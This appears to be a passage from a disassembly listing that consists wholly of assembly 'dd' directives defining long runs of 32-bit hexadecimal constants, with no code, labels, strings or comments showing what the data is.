		dd 842085CBh, 6ECD90h, 0BB0A64FBh, 0CC2695C7h, 0B8761D16h
		dd 0F5DC4C21h, 14221FE1h, 0BC68A515h, 996E4AC8h, 485144F9h
		dd 0EFFCFFF9h, 0B6730506h, 405A6427h, 0CC2AFBB4h, 68B1E20Dh
		dd 0FA5D4000h, 4D0CE49h, 1E791A23h, 4E1CD2E0h, 526A34A4h
		dd 4BC11C41h, 0B891EB50h, 15B486Fh, 5CDAA7F9h, 5032B973h
		dd 0F10CCB0Ah, 0E0659938h, 131C4221h, 0E838B844h, 1CF485F8h
		dd 8C8C64FDh, 0D2B9000Eh, 260887F3h, 5700C711h,	0E91B56D0h
		dd 21646DDh, 608A0B9Dh,	0CCC4D493h, 4B80B042h, 67A26602h
		dd 0AD261502h, 61961C82h, 4D03E1Bh, 2AB490BEh, 44F03353h
		dd 780010DFh, 70AAC245h, 93C756Ch, 14DC2D4Ah, 0CD7A8499h
		dd 347284h, 6158518Dh, 48DB10BBh, 8121342Dh, 638A2290h
		dd 6ED7808Ch, 6407FDD1h, 4CFC240Bh, 0A100575Ch,	0B068F60Fh
		dd 420B6D07h, 8DF5FFBEh, 3004E812h, 4A40E0B4h, 0B8BAE95Fh
		dd 0AC4375Ch, 343F64A6h, 6EA108h, 0C46667DFh, 1D181E6Ch
		dd 0D08138A0h, 3AC100A2h, 0EFDF5390h, 0F10181FFh, 0F3F04793h
		dd 0E84CB376h, 11A5121Ch, 9B7431F5h, 884F129h, 862C00D6h
		dd 6D014CA8h, 0B31420A6h, 78841D34h, 73384486h,	8994BB4Ch
		dd 0EBDC1013h, 48D91FDCh, 86FCC002h, 14CCB82Ch,	0F6E96E0Ch
		dd 44E8A9h, 0A10C23DCh,	0E1F8EFE6h, 5F32AB00h, 71D06C28h
		dd 2C444880h, 736FB10Fh, 0DAAB3D40h, 254C3B07h,	400CB054h
		dd 800F02CEh, 7F574BAEh, 0D46FF8E8h, 0A5E74484h, 6071FD28h
		dd 2C71B74Ah, 0E908412Bh, 8AD45548h, 0D208D443h, 0F23A0F97h
		dd 0F332F1F8h, 98D4A4h,	0D82C15E9h, 0ABB63276h,	1CC13621h
		dd 8A0D0C08h, 911F00E4h, 49C0019Fh, 4DB73B89h, 68A62114h
		dd 11C84C3Bh, 491D5C38h, 0DB70C5FFh, 8F80562h, 8E74CD89h
		dd 58F43992h, 0B9D11D69h, 0B94D0060h, 0BD5376D3h, 214F8101h
		dd 10F3A78Bh, 2F89030h,	49F4DC8Eh, 41DFCC20h, 5C4206E5h
		dd 1D84A0ADh, 46829E1h,	5BC03E13h, 0C44282F3h, 10ABBCC9h
		dd 18590243h, 98E2096Eh, 83124535h, 20201425h, 7625A2Bh
		dd 1CA63BB0h, 9E7711D3h, 0F47890BBh, 4E9847CAh,	1B5700B1h
		dd 81EBF30h, 74E9249Fh,	0CB2B00A7h, 9AD870A7h, 66E56C02h
		dd 8586BEE1h, 20983DE4h, 0A0B52E73h, 40F04888h,	0EF4991A6h
		dd 1CA55900h, 28934366h, 0A0A42594h, 0C9ACA420h, 0F738731Dh
		dd 235F03A3h, 0F8A2ABCFh, 4C9A5410h, 0F510C0BCh, 0C0045C4Ah
		dd 968AB1C4h, 601C3EA9h, 0B0E0BCCCh, 0AA5C2704h, 406CC8B8h
		dd 53F818F1h, 8C6958CAh, 0E89CA012h, 21460622h,	88C412E9h
		dd 11341520h, 0B8BD76h,	0C0710792h, 126BD14Dh, 11CF96Eh
		dd 391F2A28h, 0CED0608Bh, 0E7CAF309h, 0A6A0A0E3h, 31FC4D56h
		dd 2F9134A0h, 0B424DC02h, 18090A75h, 84EC693Ch,	437E520h
		dd 97B5443Eh, 0E8A03222h, 71B99593h, 684E3A00h,	63B5D05h
		dd 7FBD0928h, 2482A7E8h, 3A019AEAh, 4023EB39h, 0A617DD00h
		dd 15DB208Ch, 34522F00h, 0B2E66CAAh, 4C930054h,	26AD4824h
		dd 9102722Eh, 0D82D2F89h, 0A0D04056h, 35C9C036h, 0F2C6D329h
		dd 0E2E0A09h, 7288261h,	127A11D5h, 0E20C6036h, 9388980h
		dd 44BE1060h, 0FC0FCCAAh, 834951A9h, 0E4AB87FFh, 2C6C2112h
		dd 0B01C40EAh, 47740901h, 21901E58h, 327797FBh,	0B4517530h
		dd 293BF888h, 189E88h, 282221E9h, 64003E10h, 9E4C82Dh
		dd 78B8878Dh, 548F4CC3h, 5449E843h, 3710B921h, 8C082410h
		dd 90D9A99Eh, 7CFF20ECh, 4565A516h, 11B90C32h, 855610E8h
		dd 186EE8C4h, 21A5969Bh, 9200F2AFh, 0EE0DF6A6h,	9E9F9E0h
		dd 9C7FC54Ah, 47506096h, 448603C4h, 664EA586h, 88048C24h
		dd 0D5025C64h, 24A183FBh, 3997047Ah, 8ADF0720h,	30C32DC8h
		dd 5360BEFCh, 0D822B857h, 0E9E79205h, 9004428Eh, 5A4996B7h
		dd 13B66868h, 34DF2E30h, 1C894087h, 44C626Bh, 81CC290Eh
		dd 127B065Ch, 0C4C41Dh,	86DA5D9h, 0F843FAF3h, 37CBFC00h
		dd 0C089C4C9h, 96BB0F78h, 0D3804EEEh, 7FEB8ACh,	9010812Ch
		dd 2E098D17h, 0D8338CA4h, 4CF13139h, 53768459h,	6EB08188h
		dd 4101062Fh, 8E671344h, 0CC201914h, 5D6286BDh,	90984A31h
		dd 0DAD0E0h, 0B4E8CD9Eh, 0B377A52Eh, 43F27609h,	5700021Dh
		dd 328E0140h, 226031DBh, 829CC910h, 110D0E60h, 0F33A105Eh
		dd 6298967Ch, 8E04EB87h, 6831A09Dh, 0F44DE40Bh,	50401108h
		dd 45C6D91h, 4560AE8Fh,	48DB846Fh, 6E07BB00h, 0CD613A1Ah
		dd 0A538C265h, 0D05A2638h, 84A83279h, 0CC271D6Ah, 0F11419FAh
		dd 22BDC107h, 243AC80Fh, 5210BC94h, 96BF04C8h, 0B83736F4h
		dd 3196Ch, 0FDAF342Ah, 0EC598D2Fh, 581DE30Dh, 54D59820h
		dd 27726842h, 246C35A5h, 0C87095D0h, 41E3E264h,	74498A98h
		dd 0FB8619D8h, 0E8604A12h, 1E1BDCBCh, 0E1F1B3A6h, 16F5BE55h
		dd 50C2D055h, 0A136278Bh, 6872AE1h, 35612C88h, 496E6598h
		dd 997050h, 0C47028AAh,	3A048E52h, 217C8D2Bh, 21E80D84h
		dd 61988884h, 8750806Eh, 0BE7BF81h, 4865B413h, 0CEAD4D0h
		dd 12BCA8D4h, 0BF22840Dh, 914DE2AAh, 0A8A4084h,	817D8C88h
		dd 0E7FCC802h, 0E0F4B6CFh, 42C001FCh, 34B2260h,	5064FB1Dh
		dd 28B65BB6h, 1020EF4Ah, 8071F7EEh, 0F1C09E98h,	5DE41CCCh
		dd 63E70142h, 319FE92Ch, 1E81CFD5h, 27FCE849h, 8C26B672h
		dd 3A91D88Bh, 0FA4EF100h
		dd 0E5DD0BD4h, 9394DC00h, 0C718F72Eh, 0FE170052h, 0BF419E4Ah
		dd 0FC187DFBh, 3AA933ADh, 49ACA425h, 5610B8D5h,	42708809h
		dd 3C28302Bh, 20C74280h, 0BD7A25h, 0DBA306BFh, 9155C489h
		dd 0CC226B24h, 0BE02B08h, 50940D46h, 48874902h,	0C06D1877h
		dd 4EDDCE74h, 0ADD4086Eh, 5CA35E64h, 9657C10h, 49ABF332h
		dd 0E43C1DA0h, 7042EC88h, 0E185103h, 6BC426B3h,	9C448C76h
		dd 885F7484h, 0C954B46Fh, 5091FF40h, 204EA491h,	0B225CECCh
		dd 12E00B01h, 0F3043919h, 0C8C62FE1h, 88716970h, 99C0379Dh
		dd 0F34430ECh, 0AE20098h, 76096CABh, 99057C4Bh,	2A59AAFCh
		dd 553F71C0h, 884902EFh, 4FA76D78h, 116CA441h, 0AC282607h
		dd 2942C83Bh, 98A0E84Bh, 0D08096E6h, 813960A0h,	0D1F08576h
		dd 87084700h, 1FC6CB45h, 0C2BE2649h, 0A4D421C4h, 10A110C4h
		dd 6880966h, 6E0468A4h,	40C01EB4h, 3D4C9F2Dh, 3009CEBh
		dd 0DE8F74F2h, 8E1DF53Ch, 601486Dh, 0C0719D6Bh,	14C47DD0h
		dd 0CC7CD3A8h, 0D0A01425h, 800A527Eh, 6B340100h, 8FA598D7h
		dd 401077CCh, 0D242EBB7h, 40EA1385h, 1F5E2CC8h,	837D1D9Ah
		dd 3CA0E358h, 61984096h, 0B05831B6h, 0A652F0BCh, 3604BAF6h
		dd 0A6D4805h, 26AB188Ch, 40C41427h, 184C581Bh, 6ECD8900h
		dd 0AC7CCA42h, 5EC40067h, 0A3954380h, 0EE0BBAFCh, 681E38A6h
		dd 29F0328Ch, 3986EAAh,	0A543B2FCh, 5444F7E2h, 55142008h
		dd 9DE12D1h, 0F50A6780h, 299180h, 0C0308A4Ah, 0ECC0D75h
		dd 13B2F4D5h, 8E540072h, 10A9F30Bh, 99458A0h, 77EBCF00h
		dd 0B68D1E2Ch, 544D00F0h, 0D4B2AF5Fh, 0BE026964h, 4A01C25h
		dd 96A8610Fh, 0AD3D9181h, 0F04578F3h, 0CFFE9EA1h, 5F60B107h
		dd 5A088A4h, 9269F827h,	1AE911C4h, 38F218ABh, 9EA01D81h
		dd 0A2A68B78h, 4F234080h, 0C300B327h, 0A9E5694h, 28B6DA3h
		dd 30628F54h, 98684DB6h, 0D8CCC661h, 0CB4A60ABh, 24489849h
		dd 2BFA28F0h, 7325C200h, 0FF5B543Fh, 60EC058Ch,	2E3364Bh
		dd 0B2A56B98h, 31C58C4h, 0D5941421h, 0EB3312B4h, 40447422h
		dd 88D3D72Ch, 70BC8621h, 0AEA6BAE0h, 38770017h,	41FD2F1Fh
		dd 45FA57D1h, 0F2896ECh, 8A3D8C15h, 0C268C40Eh,	69A61D61h
		dd 0AD173452h, 3901h, 0A389B598h, 64A52748h, 0F61FD010h
		dd 0DECF4A09h, 0ABC8C0E0h, 137C12E1h, 7EA807B4h, 0E393F035h
		dd 111D03DBh, 7893F148h, 4936000Ch, 112490D9h, 2160C64Dh
		dd 38FF0E64h, 28BC2EBDh, 8080B400h, 76D6E378h, 2348F428h
		dd 6B660530h, 0D4824002h, 96992175h, 92B98351h,	0E891ABFCh
		dd 4A3A3CF8h, 32DC4439h, 8A708CF1h, 118F6025h, 3610BC90h
		dd 51DE969h, 1D4BFA3Ah,	0AE341014h, 66CE3FA7h, 0B9CDB80Fh
		dd 0D5DA3C0h, 9758F5EFh, 7417839Ch, 39479195h, 71B88E0h
		dd 0E8A30B94h, 44F0C003h, 974BDE91h, 0AA541C40h, 6096BEh
		dd 0BA832FE9h, 6D5F82C4h, 2A02DB00h, 864F1DCCh,	762D09C0h
		dd 486EBA1Fh, 67BD0A07h, 2B98BFAh, 4D2B9DCh, 0C65505DAh
		dd 0AD3A78A7h, 2C26F2A5h, 7FF80984h, 0F318A400h, 62282AE2h
		dd 0AB2703F2h, 3A1FB01Dh, 19CF1D4h, 215A14D0h, 808028D0h
		dd 0C08A449Ch, 7E690046h, 0E8DBAD9Dh, 0DEF93A6Bh, 0C905307Ah
		dd 9B42ABCh, 71DB9468h,	0CB64BE6Eh, 9467F821h, 0AF58308Ch
		dd 1C6CF500h, 5C9815FEh, 0F8D6E8F0h, 8B50009Eh,	34B8546Bh
		dd 3CE6B103h, 56E93310h, 34446A25h, 5C5BED00h, 81C9AE64h
		dd 0D9FF00DDh, 0CE07C619h, 542496B6h, 0C02E288Ch, 52EC8240h
		dd 0EA5D1D68h, 2449408Bh, 5E6EE202h, 48A258A6h,	0A01E3C52h
		dd 0E2C0AC53h, 0E55605D6h, 0F1C051F9h, 0A50C1028h, 9D393957h
		dd 0E194AF54h, 7D46901h, 54EE3FE6h, 40D1F8h, 530DD285h
		dd 38F7B851h, 43BC4F5Ch, 0D34B03E0h, 9353BDD4h,	0B473E074h
		dd 20E26079h, 401FE343h, 8D9E3903h, 0E666C0h, 8EE91D39h
		dd 1C051ECDh, 58FB9200h, 0FA3E5DC0h, 0FCAD0390h, 0EEC94DD6h
		dd 0FD2D40D0h, 0C008AE50h, 2C144551h, 0C83B80D8h, 31BF48Ch
		dd 0E08D67E4h, 2F0A3FCh, 380F9254h, 4BB4F791h, 0B8FC90D5h
		dd 0F410A76h, 809C9897h, 0C8ACE6E8h, 6B007904h,	0C18BCE69h
		dd 0C94C23h, 0F00C4345h, 34CB83E4h, 0FC0921Ch, 7DF800BFh
		dd 477F7CDAh, 5498EBh, 654D512Fh, 0BF10288Bh, 5E623700h
		dd 9F7CAA40h, 0FDCB0B1Ah, 5C832ED2h, 37E29AE4h,	2345F002h
		dd 0D9003E84h, 9AF14C5Ah, 49C341h, 0D3577731h, 4562B394h
		dd 0BF84611Dh, 46C5DBDDh, 0D0B26BA5h, 0ABB311h,	970B8537h
		dd 1DB0E342h, 0ACE4FFB4h, 8EEE925Ch, 7E92120h, 7DA827E2h
		dd 2051B130h, 1D1062F4h, 0A050EFE2h, 4F00F224h,	0C49702ADh
		dd 2543AF5h, 2051036Bh,	4440D0CBh, 8C403E9Fh, 38725E60h
		dd 0DA0BF428h, 944A12h,	0CCB26EECh, 3FA5F891h, 492E6148h
		dd 73F76064h, 0AD3A6BF0h, 6279845Dh, 5CC28197h,	5064C1BDh
		dd 0F38B3608h, 9FBCE8C0h, 956D0075h, 3C1E86CBh,	3600C905h
		dd 0F6C46F8Eh, 490B8471h, 35309440h, 9838A8F1h,	3DD3C50Eh
		dd 9A4EA0E3h, 2874C168h, 22E44A07h, 0D4027C2Ch,	66A5ECA6h
		dd 0EC3870EAh, 40145A1Fh, 5CD1BB74h, 63F67555h,	0EE4F4B07h
		dd 0EA4053BFh, 531D1142h, 275E98F2h, 24C680ECh,	22002E08h
		dd 0D317E7EFh, 0E7970BDh, 74DE930Fh, 3BAF82E2h,	0B4C28E05h
		dd 0D50F223Dh, 0BC10D442h, 0D4018E5Fh, 77C58BFh, 0AFF89C6Bh
		dd 993D2A46h, 15A01AC4h, 0B1604992h, 0D70E7903h, 0DE7E1018h
		dd 6CCF4800h, 0C5B0Fh, 212F0AC4h, 3F90B0F9h, 61BA2C00h
		dd 0EEBD0269h, 37FD001Fh, 89F74DB1h, 76003544h,	6C1AC37Ch
		dd 1B6F48E7h, 504A9E34h, 1C77DC0h, 775F73Ah, 805A7389h
		dd 708E1A40h, 0C5FE3B8Bh, 46C99107h, 0E206806Fh, 48C16BC7h
		dd 4F781FACh, 0BF2EF0h,	2CEBD625h, 9CF721E1h, 9E604963h
		dd 8D690044h, 6AF6CB67h, 684C5BEBh, 585630AFh, 20036DCFh
		dd 3F1BD0D6h, 0E0606F4Dh, 0ECA258Ch, 401E54E9h,	8BE0C17Bh
		dd 74007AB9h, 0DF20BABCh, 124D2E1h, 0B5823854h,	50D306AEh
		dd 7A464098h, 2FD7FE00h, 0A70C448Bh, 99E21DB0h,	419BC001h
		dd 14F6E9D6h, 78905800h, 3B70610Fh, 0D3250F6Bh,	3ADD0EA0h
		dd 20501E83h, 5900E5E2h, 607A55EFh, 2DED08h, 365A9F43h
		dd 740C8134h, 3FE14006h, 70B15E4Ch, 8411556Dh, 0C98025F5h
		dd 0F2D2C3E4h, 83A0FE57h, 0F60177CCh, 0EC5C3A4Eh, 0B0EF7F98h
		dd 0C2787D5Bh, 0C4374349h, 57C1E8E2h, 6FC450D4h, 4F188EECh
		dd 12970F6h, 17FF004Dh,	0E4929D8Bh, 1D03CAEEh, 0E2608EB8h
		dd 0AC810F20h, 16C0CDFAh, 74E63831h, 8176C500h,	3FA19FB1h
		dd 0E96829F6h, 0A66F00C4h, 1DF7AB9Bh, 69D2AC01h, 3F76DF4Ah
		dd 287C6070h, 7F48C7C1h, 0F1496E6Dh, 61CD0A1h, 0ECEFF1ADh
		dd 42053480h, 5DA03F85h, 0A970F430h, 189E3013h,	0FD88F039h
		dd 22B6A51Ch, 0E42FB000h, 136FF33h, 0BCF34781h,	0F4064073h
		dd 765403E5h, 367C1CCCh, 6729B500h, 45BE9369h, 0F460014h
		dd 325C2496h, 6D5C8F44h, 30C842C1h, 0A35AB9CEh,	0DDD51CC5h
		dd 0CAD11C2Fh, 3149E66h, 0C6F26968h, 22E420B1h,	54F67904h
		dd 13C9F712h, 0B182B400h, 0CECB4E7h, 7D06D1AFh,	0CB007129h
		dd 70DF60C5h, 5273874h,	2336B9E5h, 6A404BEh, 0CA070026h
		dd 249E38EEh, 188C461Fh, 483F8147h, 0EC808091h,	0A764B8DBh
		dd 5752323Ch, 7C440319h
		dd 107A000h, 0E4C6DBD7h, 709100EBh, 35CB464Eh, 5002FC24h
		dd 9DEFF1B8h, 4F70801Eh, 5764E20h, 70148ED1h, 5E8C40D3h
		dd 0FC40E02Ah, 0B2E67E03h, 7E1024Fh, 0E7B60C11h, 7422C96Ch
		dd 0B52049FAh, 63FDF4Bh, 9E7628A6h, 7D001940h, 0CCB32579h
		dd 18C5EE52h, 0D04CF2DCh, 80EFE921h, 83C3EBC1h,	182AD05Fh
		dd 197F06C9h, 0D703C4F8h, 0E69DFA21h, 2A429923h, 6C20E455h
		dd 708F374h, 0C1636034h, 0A065C005h, 0CD055FAFh, 0EF4DB35Eh
		dd 0C07CD821h, 0B7489980h, 1C1AB1E6h, 68854A00h, 0CA3DC520h
		dd 39ECD7h, 668B6CACh, 487CC3E2h, 35E8400h, 45471860h
		dd 4FB90CDEh, 66115F2Bh, 0C2140A50h, 0B48DF800h, 51B79BDDh
		dd 41ECA15Ch, 6A444C08h, 0CA060F8Ch, 79C03689h,	563D433Eh
		dd 0FF7A58h, 0A12ED361h, 7E175E12h, 0B10D00EEh,	8D6B2A5h
		dd 0C200C692h, 0C17F3FF6h, 0EE5A9D46h, 2959C064h, 1C8041D0h
		dd 166C1F00h, 715A078Dh, 69F838BCh, 2794EB80h, 0A5988B3Bh
		dd 9D36BB07h, 0EC04BA17h, 276ED482h, 52401207h,	96004864h
		dd 0EBC1A7B1h, 907E909Ah, 7D3814F0h, 6901A044h,	6FD35FBEh
		dd 0EC238Ch, 992C5887h,	79971Ah, 0BAF11F8Dh, 546B1DEFh
		dd 7BA50700h, 0F0CA24F6h, 6A3F26A3h, 57ED0020h,	0B2E3785Eh
		dd 1DA91000h, 8FBE5951h, 9A5A0039h, 7727FF65h, 9E01F7B7h
		dd 0E1C9830Dh, 6DE47DB0h, 329C00EBh, 2184CCB1h,	6039DBFh
		dd 7B264C67h, 489902C8h, 4202417Eh, 47B00048h, 3EEDF712h
		dd 4CF81418h, 3BF18877h, 7509AC06h, 41159Fh, 878F2CD0h
		dd 0DEEF088Ch, 0BA254900h, 9016AD23h, 7EAE0765h, 40696637h
		dd 0A14005D4h, 9C51636Ah, 68054A11h, 0F01E17Eh,	5024AC44h
		dd 0E3AC8015h, 200B252Ah, 38487AEBh, 8F79B0h, 3C8E3335h
		dd 0F5C1B89Ch, 45A8EB18h, 1EDCB21h, 33150478h, 0D244FDA0h
		dd 403FCC84h, 0ED3D0D1Ah, 351B0180h, 0FC304277h, 8BEAE8B4h
		dd 0C7BDFA01h, 0C646DEF2h, 0B136C0h, 0A06F370h,	0BD7C94E1h
		dd 4F0048B1h, 4C6A6D29h, 92F9F6F7h, 10BE59B4h, 62606688h
		dd 48C6A1E3h, 0E9832C92h, 50AB4599h, 42564CE9h,	48C368FCh
		dd 0A00A2130h, 0A020B1h, 257A3F9Ah, 4E905DEh, 0A215F300h
		dd 0F1C673ADh, 120A1F2Fh, 45569CA1h, 66617h, 830F5454h
		dd 580E2BC7h, 8AFBC20Bh, 6740E89Eh, 0E678D1F4h,	1F9100D7h
		dd 0EB812C30h, 0DE070866h, 7A9BEA22h, 63CC8599h, 7B858D8h
		dd 0B7C40802h, 0D6C6018Eh, 0F6747094h, 0B90E6CB9h, 0E67200B3h
		dd 0A4D3B4h, 749C66ADh,	0FAEA1EBBh, 0A0C180CFh,	4ABDEB57h
		dd 21AD0F4Eh, 0D90F33C9h, 914975CCh, 0BA036101h, 5F17E312h
		dd 825E8474h, 288710A9h, 3F37D0E9h, 9607E1FCh, 43E35866h
		dd 7DA82039h, 781D7036h, 214CC052h, 400C8DCBh, 6C6E5328h
		dd 94C47C24h, 0E6EC2041h, 24066180h, 2AD5A34Ah,	6E67A0C1h
		dd 0EC736922h, 60A0902Ch, 6FD849BDh, 0C2207090h, 80C09917h
		dd 0C675DD4h, 0F902657Fh, 0DF2BB3A7h, 18288BC5h, 0F12670h
		dd 18C70166h, 7EC58B2Dh, 71929401h, 97493CA6h, 0FF34298Fh
		dd 416626C6h, 0EA1F6D44h, 1EC03ADh, 4B3F2B2Ah, 36E59B8h
		dd 0D5E1A807h, 22A9D1EAh, 10D6BC5Ch, 8D07A5EBh,	0B0F3F9E2h
		dd 0A601E380h, 12D49236h, 22D4F821h, 802E16CCh,	0AA6BBD99h
		dd 0E5A30E3Ah, 0C6A09A29h, 0CD5C59C1h, 1C5DFAB8h, 0FF6D1628h
		dd 6B52F831h, 0E8400712h, 0A743EBF4h, 0D44EC20h, 0C67C803Ch
		dd 91482540h, 0C36D8038h, 7AA5543Dh, 74E2FF00h,	95F378A4h
		dd 67690CEBh, 0E328BE5Eh, 57247A0Fh, 54DA408Ch,	606E128Bh
		dd 43651DEh, 0CA60E20Ah, 0A4065399h, 0D22A0516h, 47D06E11h
		dd 3D6D0h, 42E9331Dh, 0BC4553h,	9C79EC05h, 1B7F12Eh, 21E9ED30h
		dd 972C56DAh, 0AC23F70Ah, 9391D2EBh, 5197A280h,	28418070h
		dd 4774C3AEh, 7C50B600h, 8BB391ACh, 776600EEh, 566A090Bh
		dd 1054FDF7h, 64A0C7E4h, 2156EC6h, 1DC2E26h, 160138BCh
		dd 48E149D4h, 41533F11h, 80840338h, 0AC2C9F19h,	64B5E76h
		dd 0E227830Eh, 0F400A9CDh, 604387E4h, 263DACEh,	613DCA80h
		dd 9C445CCFh, 30F2E544h, 5639B260h, 0E130E370h,	0CB2E11C8h
		dd 0CEB4018Bh, 6FC69424h, 0D1B8C196h, 8D98A082h, 74813891h
		dd 3C9F3A95h, 8F78B980h, 0AD67F6F0h, 63A69D00h,	60466B96h
		dd 0B00CEAAFh, 0DDA15A8h, 0C2118C14h, 0F8F62425h, 39E8A04Ch
		dd 96003BD9h, 780C24C5h, 0BF04D1DDh, 7CAEA3AFh,	6770F880h
		dd 6079D13Eh, 0C6680175h, 0D2E22E72h, 1E6D83Dh,	0F8191224h
		dd 40712198h, 0E4D30F49h, 0F58078BAh, 3990A25Bh, 91655601h
		dd 0DDD752BEh, 18B6893h, 9E97C1ACh, 46369h, 42743E08h
		dd 0E0A9854h, 0CD714FDh, 59B42100h, 7B003A18h, 0AC96DF50h
		dd 58BF4AAh, 57CCC406h,	21908BB9h, 209D9295h, 686628C4h
		dd 0A63E611Ch, 3672B206h, 8C2444C9h, 4C2E0700h,	3CCC45C5h
		dd 0E0F698h, 2EDAC6Eh, 0C18EC36h, 0BAD08B16h, 28808825h
		dd 2243478h, 5F59B74h, 0A0A0CBE2h, 0F0E53FD2h, 21282000h
		dd 9CB59086h, 0A68E0298h, 364FE6FDh, 6801F064h,	0B2F8D4DFh
		dd 10755B24h, 5AD1840h,	26D26F1h, 2046C928h, 944C7558h
		dd 4E79224Ch, 0BDB43007h, 501F375Ah, 4D1B065Dh,	0FA00E7A1h
		dd 0B82610C5h, 46F1808h, 0FF1B4177h, 67683107h,	5FD06412h
		dd 9F1D561h, 7F14E272h,	9DE85800h, 90004010h, 0E0B00519h
		dd 0C943046Dh, 3C69E1A9h, 4E65D8F5h, 7606BA14h,	3B053E78h
		dd 35E3DD6h, 0D57B3B2Ch, 0BD00EF4Fh, 0E24A0C83h, 8E84B67h
		dd 7C8E811Ch, 0E53D40C3h, 5A7F441h, 0E4B77E42h,	0B0E820A9h
		dd 0D0A4C74Dh, 9B0E58B9h, 0D5B3600Eh, 88D91Fh, 3A61019Dh
		dd 4F123476h, 179E324Ch, 6C1EA598h, 0EA21D185h,	55B13C03h
		dd 69F4C8C9h, 0CDC7194Ch, 103E61F5h, 1D1D915h, 9C068C03h
		dd 0D6ABBAF6h, 72133864h, 4F011F42h, 0AD9B9307h, 0ECC0D1C5h
		dd 9CCE1749h, 0C1A421AFh, 690DF426h, 0EFBD200Bh, 4FB890E1h
		dd 5C077E73h, 275B5B9h,	9EB8EADh, 74A07790h, 0C6176E14h
		dd 9F3B9100h, 0A530E040h, 0FFB0B47h, 79053251h,	8708803Eh
		dd 6A768463h, 0BC39EC00h, 0A1EE133h, 747500F3h,	0EEF266D5h
		dd 87764D81h, 337A0B0Fh, 27DEC049h, 79C2CA10h, 0BB28052Bh
		dd 0C35A9F6Eh, 1F92ED08h, 0BCFF3C48h, 0B069540Bh, 7E277F38h
		dd 0D895C019h, 2802A8E9h, 4AC5E88Bh, 0C660405Bh, 0A5F92AE4h
		dd 80B56BE4h, 0AA05013h, 20E16247h, 48B0EBECh, 0ABB5ECA8h
		dd 10F96098h, 8375F668h, 0E80AACC0h, 0D00CA91Eh, 9AEF208Bh
		dd 0F314C078h, 4D890E1Eh, 5700FDB4h, 68ACC435h,	3631C0E5h
		dd 50EAB604h, 0D4A2F820h, 0E59FDC80h, 9C038213h, 2675FE76h
		dd 0B7C80547h, 82AFEEECh, 0A0D20384h, 1E1244h, 3D96BAC7h
		dd 0DA8A3E5Eh, 7B1FDB04h, 0E0C84EC5h, 0FC7C8959h, 0F7014C0Bh
		dd 7E13368Dh, 0F2C09A54h, 2B121F07h, 5F0C8040h,	855FDF3h
		dd 72B96001h, 0DC3A756h, 21166D0h, 0F1D32122h, 44E64A3Fh
		dd 91571412h, 73E3D490h, 0FEDE1A4Eh, 385A540Bh,	68966D79h
		dd 0EB1E360h, 0D04B5102h, 16372AE8h, 0D006D1B0h, 49A7236Ch
		dd 1082800h, 7F4DFCD5h,	55AE3904h, 9A29987h, 0A62E309Ah
		dd 0FA24C248h, 0C66900E7h, 0CBEF04C8h, 0C082877Ah, 0C47C6E00h
		dd 20B13E61h, 29BE83EDh, 6008CB2Eh, 0ADA32CEEh,	4060C105h
		dd 0F849C552h
		dd 0B86C9003h, 0EED20097h, 5B066AD3h, 0AA002191h, 6F4DE852h
		dd 9960B620h, 1571D5Ch,	9BBB5145h, 73D8F3B8h, 5D1C5693h
		dd 3F9888EBh, 1EDCA32h,	8945DF44h, 0FA5336E3h, 0BA801C43h
		dd 4A0B026Bh, 0B0F0109h, 8CA01093h, 8F1C9E9Eh, 6A2F97F7h
		dd 45C103A3h, 7F8E2ACh,	90AC38C2h, 3AC046E0h, 0F9EF183Bh
		dd 0C9E10888h, 816EA9C1h, 0FDC8F339h, 0CD5B5CA4h, 0D6BAA63Eh
		dd 4F665700h, 0F1219829h, 0B8FED100h, 6706335Eh, 76A42C7Dh
		dd 0E6B308C4h, 0F8E96D1Dh, 0E421AC04h, 0C38084A2h, 814BF4CDh
		dd 0D69A681Ch, 9F990840h, 0FF9A176h, 0EB5F7E37h, 0C1D020B2h
		dd 0F2C58FBh, 66076850h, 7BD1C2BCh, 480323C3h, 5B206D92h
		dd 0E00581h, 0B0C59ECBh, 766E414h, 0E1406900h, 75B68B72h
		dd 41EB00B9h, 0E04477Ch, 6F00BF45h, 77B3F571h, 0C026E1FEh
		dd 7AB00359h, 491C1D4Dh, 5CD752B6h, 95110800h, 24B9960h
		dd 0E8C213ACh, 588243EBh, 107AC0C9h, 4CC4F558h,	248200C8h
		dd 0CAA9ECBBh, 4C509833h, 582A0C49h, 5AEF0398h,	8E26687Dh
		dd 5098EB98h, 21C42300h, 6551B88Bh, 80F20203h, 0FA5E4BB4h
		dd 0FEE02CD8h, 684DD801h, 7893CBE3h, 0F7002863h, 335B9964h
		dd 29E0D777h, 5040F64Eh, 0A426EE78h, 5C67CE6h, 6E6809A1h
		dd 0A4B4C4C0h, 0F8654D8h, 8D0FA0EBh, 3411FD8Bh,	73E46CB0h
		dd 7944EC20h, 69038948h, 0EF5F00D4h, 6D136A8Dh,	9E8018D9h
		dd 4804413Ch, 0A131E207h, 1ED0ACEFh, 7C7B65h, 0EC6EFE97h
		dd 0FC6D70DBh, 0E0311A62h, 0DA5848CCh, 11970028h, 3DA81E09h
		dd 9A172307h, 78005D6Eh, 678B719Ch, 709F0CF0h, 3F416A03h
		dd 0A1D600B0h, 5E00D51Fh, 52BFB825h, 69060272h,	0E24DC86Fh
		dd 0ED02E044h, 6EA0FA34h, 77F8618Bh, 0B6BEC48h,	57D4C444h
		dd 2019C0C6h, 9EF97BEBh, 792C6472h, 80291E8Ah, 0FBADD919h
		dd 90260401h, 0BF884046h, 61F68C1Fh, 0B8002861h, 4E4684FFh
		dd 10AFA24h, 345476E5h,	0DE553FB6h, 38804C64h, 2D00E050h
		dd 0E8EDBD71h, 3D0CBEh,	77B7A953h, 89BEC64h, 0FF34481Fh
		dd 20C8A265h, 789866F0h, 0A1CEE6A2h, 2E101860h,	340045F7h
		dd 0A89D733Eh, 7201DBDh, 0E40F35D7h, 506200C3h,	3317F4ECh
		dd 48CC65D4h, 4BFF306Dh, 0CEF4C849h, 0D5C97B18h, 0AD15821h
		dd 8BAEAD05h, 44918138h, 70419F33h, 0B6007A30h,	0A46A9D92h
		dd 0A375D3h, 0B776ADC1h, 43037E4Eh, 0F0904892h,	216BCB22h
		dd 0BF1D84E3h, 47D03E22h, 104050A5h, 19C322E1h,	0F0D1E574h
		dd 1F2C6ED0h, 41673016h, 60ECE02Fh, 3C22E2h, 960991DDh
		dd 7988CC2h, 0B5A1FD2Eh, 0AC10E9DAh, 3E3DBF3Ch,	0B7190EE2h
		dd 3066A0F2h, 357C06D0h, 8C7141C5h, 0C1002E30h,	5849DB62h
		dd 5CBF5509h, 7627609Bh, 0CCA93C04h, 628A41ACh,	8014D9C4h
